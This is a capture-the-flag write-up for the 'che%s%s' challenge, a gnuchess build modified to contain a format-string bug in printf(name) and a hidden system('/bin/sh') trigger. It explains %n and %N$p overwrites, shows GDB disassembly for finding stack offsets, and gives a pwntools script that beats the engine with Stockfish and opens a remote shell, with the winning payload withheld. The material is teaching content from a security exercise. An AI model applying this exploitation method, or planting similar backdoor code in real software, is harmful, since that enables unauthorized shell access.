che%s%s

Description

Ohh no! Someone just broke into our system!

Ok, now they are stealing the source code of our unbeatable che%s%s engine. Aaaand we are locked out of our che%s%s service…

We managed to capture their modified source code while the bad folks uploaded a new version of our software.

Could you help us get inside again?

nc chess.secchallenge.crysys.hu 5017

Solution

0x1 basic information

Just based on the title of the challenge, one can assume, that we are looking at a format string vulnerability.

Since we are given the source code of the challenge, we can quickly identify, that it is a modified version of gnuchess-6.2.9. Pulling the original source, and diffing it to the “leaked” source, we can see, that the following parts were modified:

In main.cc:

int *solved = (int*) calloc(1, 1);

...

if(*solved == 0xb055){
system("/bin/sh");
exit(1);
}

and in frontend/engine.cc:

if(strcmp(engineinput, "1-0 {White mates}\n") == 0){
  puts("Congrats! Here is your reward:");
  printf(name);
}

What we are looking at here, is an arbitrary memory write using printf. In a nutshell, format strings work in the following way:

If you supply format characters in the format string part of the function call, the function will expect, that you have placed the variables on the stack according to the format characters. What if not? You are leaking the stack of your program.

But how can we write data? This is where the %n format character comes into play. If you look up the manpage of printf for example, it says:

The number of characters written so far is stored into the integer pointed to by the corresponding argument. That argument shall be an int *, or variant whose size matches the (optionally) supplied integer length modifier. No argument is converted. (This specifier is not supported by the bionic C library.) The behavior is undefined if the conversion specification includes any flags, a field width, or a precision.

And luckily for us, the solved variable is an int *, so we have everything in order to exploit the code, and get a shell.

0x2 exploit

Since we are playing a proper chess engine, even when setting the depth of the engine to 1 gives us a tough opponent. So obviously we just get another, preferably better, engine to play for us. For this I chose stockfish, which is a well-known engine, and after a bit of googling I set it up using pychess.

Implementing basic I/O communication as usual, and we have a stable way of getting to the part, where we can exploit the format string.

The creators of the challenge were kind enough to put the solved variable onto the stack. We only had to figure out, where exactly it is. This is the part where GDB came in handy. Breaking at the printf call, we can examine the stack. Looking at the trace, we can see that we are one function call deep from main, namely inside NextEngineCmd(). Disassemblying it, we can see, that it actually allocates quite a huge stackframe:

   0x000055555556a8d1 <+4>:    push   rbp
   0x000055555556a8d2 <+5>:    mov    rbp,rsp
   0x000055555556a8d5 <+8>:    sub    rsp,0x1000

This means, that the solved variable will be quite far from us. To find its exact location we can break at the line in main where the variable gets compared:

   0x000055555555984d <+2780>:    mov    rax,QWORD PTR [rbp-0x1d8]
   0x0000555555559854 <+2787>:    mov    eax,DWORD PTR [rax]
   0x0000555555559856 <+2789>:    cmp    eax,0xb055
   0x000055555555985b <+2794>:    jne    0x555555559873 <main+2818>
   0x000055555555985d <+2796>:    lea    rdi,[rip+0x4395d]        # 0x55555559d1c1
   0x0000555555559864 <+2803>:    call   0x555555558810 <system@plt>

From here, we can use the x/Ngx $rsp syntax, where N is a positive integer in order to find the pointer of solved. (You are looking for a heap address on the stack).

If you found the N, you know where your your variable is, which you have to overwrite. Since it will be quite far, and your format string is limited to ~50 characters, you will have to use another trick, to directly access any “argument” of the stack (Look into the %N$p syntax). Since the call to printf will also allocate some memory on the stack, you will have to find the exact position using the format string vuln, and dumping the memory around the offset using the aforementioned syntax, until you find the exact position.

The script I wrote to solve this challenge automates everything except finding the offset, but to not give the students an instant solution I will remove the winning format string from my code.

import chess
from pwn import *
import chess.engine
import time
import re
import signal
import sys

# exit gracefully on Ctrl + C
def signal_handler(sig, frame):
	engine.quit()
	exit()

# register signal handler
signal.signal(signal.SIGINT, signal_handler)

pr = log.progress("White winning")

# set up board and stockfish
engine = chess.engine.SimpleEngine.popen_uci("/usr/games/stockfish")
limit = chess.engine.Limit(depth=14)
board = chess.Board()

#with process(["gdb", "./chess"]) as p:
	#p.sendline(b'b *NextEngineCmd+931')
	#p.sendline(b'r')
with remote("chess.secchallenge.crysys.hu", 5017) as p:
	# initial setup, nerfing the chall
	p.recvuntil(b'White (1) : ').decode()
	success("Nerfed challenge to oblivion")
	p.sendline(b"depth 1")
	p.recvuntil(b'White (1) : ').decode()
	p.sendline(WIN)
	p.recvuntil(b'White (1) : ').decode()

	movecount = 1

	while True:

		# get the next engine move
		engine_ret = engine.play(board, limit, info=chess.engine.Info.SCORE)
		pr.status(str(engine_ret.info['score'].white()))

		# send engine move to the challenge
		san_move = board.san(engine_ret.move)

		# if we checkmate, go interactive
		if "#" in san_move:
			#print(f"Winning move: {san_move}")
			#p.interactive()
			p.sendline(san_move.encode())
			pr.success("White checkmates")
			rec = f'White ({movecount}) : '
			p.recvuntil(rec.encode()).decode()
			success("Enjoy your shell")
			p.interactive()

		# if not checkmate, let it play it out
		p.sendline(san_move.encode())

		# update local board
		board.push(engine_ret.move)

		movecount += 1

		# wait for the next prompt
		rec = f'White ({movecount}) : '
		answer = p.recvuntil(rec.encode()).decode()
		parsed_move = re.findall(r'My move is : .*\n', answer)[0].strip('\n').split(' ')[-1]

		# push the move received to the board
		board.push_san(parsed_move)

The acquired flag is:

cd22{HIDDEN}

← Back to SecChallenge22

all tags